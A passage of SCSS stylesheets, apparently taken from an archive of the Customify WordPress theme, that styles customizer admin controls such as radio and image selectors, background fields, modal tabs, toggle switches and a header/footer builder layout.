@include rtl(){
border-right: 0px none;
border-left: 1px solid #ccc;
border-top-right-radius: 0px;
border-bottom-right-radius: 0px;
border-top-left-radius: 3px;
border-bottom-left-radius: 3px;
}
}
}
&:first-child {
span.label {
border-top-left-radius: 3px;
border-bottom-left-radius: 3px;
@include rtl(){
border-right: 1px solid #ccc;
border-top-left-radius: 0px;
border-bottom-left-radius: 0px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
}
}
}
}
label {
width: 100%;
display: block;
text-align: center;
}
span.label {
border: 1px solid #ccc;
display: inline-block;
padding: 6px 5px;
width: 100%;
border-right: none;
}
input:checked + span.label {
border-color: #0085ba;
background: #0085ba;
color: #fff;
}
}
}
/**
Image Select
*/
.custom-control-image_select {
.customify-radio-list {
img {
line-height: 0px;
display: block;
}
span.label {
display: inline-block;
padding: 4px;
max-width: 80px;
border-radius: 5px;
span {
display: inline-block;
margin-top: 3px;
}
}
input:checked + span.label {
border-color: #3068af;
box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.2);
background: #FFF;
}
}
}
/*Background field*/
.customize-control {
&.customify-background-control--- {
.customify-group-device-fields {
position: relative;
&::after {
clear: both; content: ""; display: block;
}
}
.customify--settings-fields {
position: relative;
min-height: 160px;
display: block;
margin-top: 7px;
&::after {
clear: both; content: ""; display: block;
}
.customify--field {
select {
width: 135px;
}
&.customify--field-name-color{
.wp-picker-container {
position: relative;
z-index: 35;
}
.wp-picker-holder {
position: absolute;
right: 0px;
z-index: 10;
}
}
&.customify--field-name-image {
width: 115px;
display: block;
position: absolute;
top: 35px;
left: 0px;
.customify-field-header{
display: none;
}
.button {
overflow: hidden;
width: 35px;
vertical-align: middle;
&:before {
font-family: dashicons;
margin-right: 35px;
display: inline-block;
}
&.customify--change, &.customify--add {
&:before {
content: "\f317";
}
}
&.customify--remove {
&:before {
content: "\f335";
}
}
}
.customify-image-preview {
margin: 0px 0px 10px;
&:before {
padding: 35px 20px;
}
}
.customify-field-header {
display: none;
}
img {
width: 115px;
height: 115px;
display: block;
object-fit: cover;
}
}
&.customify--field-name-position {
.customify-field-header{ display: none; }
position: absolute;
top: 60px;
right: 0px;
}
&.customify--field-name-repeat {
.customify-field-header { display: none; }
position: absolute;
top: 100px;
right: 0px;
}
&.customify--field-name-cover {
clear: both;
position: absolute;
top: 140px;
right: 0px;
}
&.customify--field-name-attachment {
.customify-field-header { display: none; }
clear: both;
position: absolute;
top: 170px;
right: 0px;
}
}
}
.customify-group-device-fields {
}
}
}
// Modal Style
.customify--settings-wrapper {
position: relative;
display: block;
.customify-actions {
position: absolute;
top: 0px;
right: 0px;
@include rtl(){
right: auto; left: 0px;
}
vertical-align: middle;
margin-top: 5px;
a {
text-decoration: none;
display: inline-block;
}
.action--reset {
font-size: 12px;
margin-right: 10px;
display: none;
span {
font-size: inherit;
width: auto;
height: auto;
vertical-align: middle;
margin-top: 0px;
&:before {
font-size: 12px;
width: auto;
height: auto;
}
}
}
.action--edit {
background: #FFFFFF;
border: 1px solid #ddd;
border-radius: 3px;
padding: 5px;
.modal--opening & {
span {
&:before {
content: "\f335";
}
}
}
}
}
}
.modal--tabs {
display: flex;
margin-left: -12px;
margin-right: -12px;
border-bottom: 1px solid #ddd;
margin-bottom: 15px;
div {
flex-basis: 100%;
max-width: 100%;
text-align: center;
padding: 5px 5px 0px;
&:first-child {
padding-left: 10px;
}
&:last-child {
padding-right: 10px;
}
}
span {
display: block;
border: 1px solid #dddddd;
padding: 5px;
cursor: pointer;
margin-bottom: -1px;
font-weight: 600;
&.tab--active {
background: #ffffff;
border-bottom-color: #fff;
}
}
}
.modal-tab-content {
display: none;
&.tab--active {
display: block;
}
}
#customize-theme-controls .customize-pane-child.accordion-section-content {
min-height: 100%;
display: block;
}
.customize-control-customify-typography {
.customize-control-description {
margin-bottom: 0px;
}
.ft--checkboxes[data-field-name="languages"] {
margin-bottom: 0px;
}
.list-subsets {
p {
margin-top: 0px;
width: 50%;
float: left;
}
@include clearfix();
}
.customify--group-field {
@include clearfix();
.customify-field-header {
width: 50%;
float: left;
}
.customify-field-settings-inner {
width: 50%;
float: right;
}
&.customify--multiple-devices {
.customify-field-header, .customify-field-settings-inner {
width: auto;
float: none;
}
}
.customify--field-slider, .customify--field-name-languages {
.customify-field-header, .customify-field-settings-inner {
width: auto;
float: none;
}
}
}
}
.customify-field-settings-inner {
position: relative;
}
.customify-modal--inside {
position: relative;
.description {
margin-bottom: 0px;
}
}
.customize-control-customify-styling, .customize-control-customify-typography, .customize-control-customify-modal {
.customify--settings-wrapper {
> .customize-control-description {
margin-bottom: 0px;
}
}
.customify--settings-wrapper {
min-height: 40px;
display: block;
}
}
.ft--heading {
clear: both;
}
.control--bg {
.customify-modal-settings {
.customify--field-heading{
h3.customify-field--heading {
background: #fff;
}
}
}
}
.customify-modal-settings {
box-shadow: 0 2px 15px rgba(0,0,0,.3);
background: #fff;
padding: 12px;
margin-bottom: 15px;
margin-top: 10px;
left: 0px;
right: 0px;
z-index: 9;
position: relative;
&:before {
content: '';
position: absolute;
top: -6px;
right: 5px;
@include rtl(){
right: auto;
left: 5px;
}
width: 15px;
height: 15px;
background: #fff;
transform: rotate(45deg);
border-radius: 3px;
}
&::after{
content: '';
display: table;
clear: both;
}
.wp-color-result-text {
line-height: 23px;
}
.customify--field-heading{
h3.customify-field--heading {
font-size: 11px;
margin: 10px -12px;
padding: 5px 12px 4px;
background: #eeeeee;
}
}
.customize-control-title {
font-weight: 600;
font-size: 13px;
}
.customify--group-field {
margin-bottom: 5px;
&:last-child {
margin-bottom: 0px;
}
}
.lb-left {
@include clearfix();
.customify-typography {
&--field-header {
width: 50%;
float: left;
}
&--field-settings {
float: right;
width: 50%;
}
}
}
}
/* Checkbox */
.customify--field-checkbox {
.customify-field-settings-inner {
padding-right: 30px;
position: relative;
font-size: 14px;
line-height: 24px;
font-weight: 600;
margin-bottom: 4px;
.onoffswitch {
float: right;
position: absolute;
top: 3px;
right: 0px;
}
}
}
.customize-control-customify-checkbox {
.has-title-desc {
.customify--settings-fields {
position: absolute;
top: -6px;
right: 0px;
}
.customify-control-field-header {
cursor: pointer;
margin-right: 30px;
}
.checkbox-field-text {
display: none !important;
}
}
}
.preview-desktop {
.customify--field-checkbox {
.customify--for-tablet,
.customify--for-mobile {
display: none;
}
}
}
.preview-tablet {
.customify--field-checkbox {
.customify--for-desktop,
.customify--for-mobile {
display: none;
}
}
}
.preview-mobile {
.customify--field-checkbox {
.customify--for-desktop,
.customify--for-tablet {
display: none;
}
}
}
/* OnOff Button */
.onoffswitch {
position: relative; width: 25px;
display: inline-block;
-webkit-user-select:none; -moz-user-select:none; -ms-user-select: none;
}
.onoffswitch-checkbox {
display: none !important;
}
.onoffswitch-label {
display: block;
overflow: hidden;
cursor: pointer;
border: 0px none;
border-radius: 10px;
position: relative;
top: 3px;
transition: all 0.3s ease-in 0s;
opacity: 1;
}
.onoffswitch-inner {
display: block; width: 200%; margin-left: -100%;
transition: margin 0.3s ease-in 0s;
}
.onoffswitch-inner:before, .onoffswitch-inner:after {
display: block; float: left;
width: 50%; height: 15px; padding: 0;
box-sizing: border-box;
}
.onoffswitch-inner:before {
content: "";
padding-left: 10px;
background-color: #00aadc; color: #FFFFFF;
}
.onoffswitch-inner:after {
content: "";
padding-right: 10px;
background-color: #CCCCCC;
text-align: right;
}
.onoffswitch-switch {
display: block; width: 11px; margin: 0px 3px 0px 1px;
background: #FFFFFF;
position: absolute; top: 2px; bottom: 2px;
right: 8px;
border-radius: 10px;
transition: all 0.3s ease-in 0s;
}
.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-inner {
margin-left: 0;
}
.onoffswitch-checkbox:checked + .onoffswitch-label .onoffswitch-switch {
right: 0px;
}
.onoffswitch-checkbox:disabled + .onoffswitch-label {
opacity: 0.4;
cursor: default;
}
/* Customify Pro section */
#customize-controls #accordion-section-customify-pro {
border-top: 1px solid #ca4a1f;
border-bottom: 1px solid #ca4a1f;
}
#customize-controls #accordion-section-customify-pro h3 {
margin: 0;
position: relative;
}
#customize-controls #accordion-section-customify-pro h3 a {
padding: 10px 10px 11px 14px;
line-height: 20px;
display: block;
background: #ffffff;
color: #ca4a1f;
text-decoration: none;
position: relative;
}
#customize-controls #accordion-section-customify-pro h3 a:hover {
background: #f5f5f5;
}
#customize-controls #accordion-section-customify-pro h3 a:after {
content: "\f345";
position: absolute;
color: #ca4a1f;
top: 11px;
right: 10px;
z-index: 1;
float: right;
border: none;
background: none;
font: normal 20px/1 dashicons;
speak: none;
display: block;
padding: 0;
text-indent: 0;
text-align: center;
}
.customify-pro-teaser {
color: #856404;
background-color: #fff3cd;
margin: 1em 0px;
position: relative;
padding: .75rem 1.25rem;
margin-bottom: 1rem;
border-top: 1px solid #ddd;
border-bottom: 1px solid #ddd;
border-radius: .25rem;
ul {
margin-bottom: 1em;
}
.button {
display: block;
text-align: center;
}
}
.customize-control {
&.customize-control-pro {
float: none;
padding-top: 1em;
}
.customify-pro-teaser {
margin-left: -12px;
margin-right: -12px;
}
} admin/customizer/customizer.scss 0000666 00000004362 15114372150 0013151 0 ustar 00 // Import custom controls
$border: 1px solid #ddd;
$bg: #f1f1f1;
$builder_active_color: #0073aa;
.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent,
#customize-theme-controls .customize-pane-child.current-section-parent {
-webkit-transform: translateX(-100%);
-ms-transform: translateX(-100%);
transform: translateX(-100%);
}
@mixin clearfix {
&:before, &:after {
content: "";
display: block;
clear: both;
}
&:after {
clear: both;
}
}
@mixin rtl() {
html[dir="rtl"] & {
@content;
}
}
@-webkit-keyframes spinnerRotate
{
from{-webkit-transform:rotate(0deg);}
to{-webkit-transform:rotate(-360deg);}
}
@-moz-keyframes spinnerRotate
{
from{-moz-transform:rotate(0deg);}
to{-moz-transform:rotate(-360deg);}
}
@-ms-keyframes spinnerRotate
{
from{-ms-transform:rotate(0deg);}
to{-ms-transform:rotate(-360deg);}
}
.customize--reset-section {
background: 0 0;
border: none;
color: #555;
cursor: pointer;
margin: 0;
padding: 20px;
position: absolute;
right: 0;
top: 30px;
@include rtl(){
right: auto;
left: 0px;
}
&:focus, &:visited, &:active {
outline: none !important;
}
&:before {
-moz-osx-font-smoothing: grayscale;
border: none;
content: "\f531";
display: block;
font: 18px/1 dashicons;
padding: 5px;
text-align: center;
text-decoration: none!important;
text-indent: 0;
left: 6px;
position: absolute;
top: 6px;
}
&.loading {
-webkit-animation-name: spinnerRotate;
-webkit-animation-duration: 2s;
-webkit-animation-iteration-count: infinite;
-webkit-animation-timing-function: linear;
-moz-animation-name: spinnerRotate;
-moz-animation-duration: 2s;
-moz-animation-iteration-count: infinite;
-moz-animation-timing-function: linear;
-ms-animation-name: spinnerRotate;
-ms-animation-duration: 2s;
-ms-animation-iteration-count: infinite;
-ms-animation-timing-function: linear;
}
}
@import "control";
@import "header_footer_builder";
@import "_builder_v1";
@import "_builder_v2"; admin/customizer/_builder_v2.scss 0000666 00000003562 15114372150 0013142 0 ustar 00 .customify--panel-v2 {
.customify-available-items .grid-stack-item-content {
margin-right: 2px;
}
.customify--cb-row .customify--cb-row-settings {
top: 0px;
&:before {
top: -7px;
}
}
.customify--row-inner {
display: flex;
padding: 2px 3px;
background: transparent;
flex-grow: 1;
}
.col-items-wrapper {
flex-basis: 33.333333%;
flex-grow: 1;
margin: 2px;
}
.col-items {
background: #ffffff;
min-height: 34px;
height: 100%;
display: inline-block;
border: 1px solid #ddd;
text-align: left;
@include rtl(){
text-align: right;
}
display: block;
padding: 0 0 2px;
&.col-center {
text-align: center;
}
&.col-right {
text-align: right;
@include rtl(){
text-align: left;
}
}
}
.grid-stack-item {
height: 25px;
padding: 3px;
.customify--cb-item-setting {
display: none;
}
.customify--cb-item-remove {
right: 4px;
padding: 0px 3px;
margin-top: 1px;
max-height: 100%;
&::before {
font-size: 16px;
line-height: 22px;
}
@include rtl(){
left: 4px;
}
}
}
.customify--cb-row {
.customify--cb-item-name {
line-height: 22px;
text-align: left;
padding-right: 12px;
@include rtl(){
text-align: right;
padding-left: 13px;
padding-right: 0px;
}
}
}
.grid-stack-item {
height: 30px;
}
.customify-available-items .grid-stack-item-content {
padding: 3px 9px;
}
.customify--cp-sidebar {
.grid-stack-item {
display: block;
width: 100%;
margin: 2px 0px 2px;
&:last-child {
margin-bottom: 2px;
}
&.sortable-placeholder {
margin-left: 4px;
margin-right: 4px;
width: auto;
margin-top: 4px;
margin-bottom: 2px;
}
}
}
.sortable-placeholder {
background: #f5f5f5;
height: 22px;
display: inline-block;
width: 50px;
margin-top: 4px;
margin-left: 4px;
margin-right: 4px;
margin-bottom: 0px;
}
}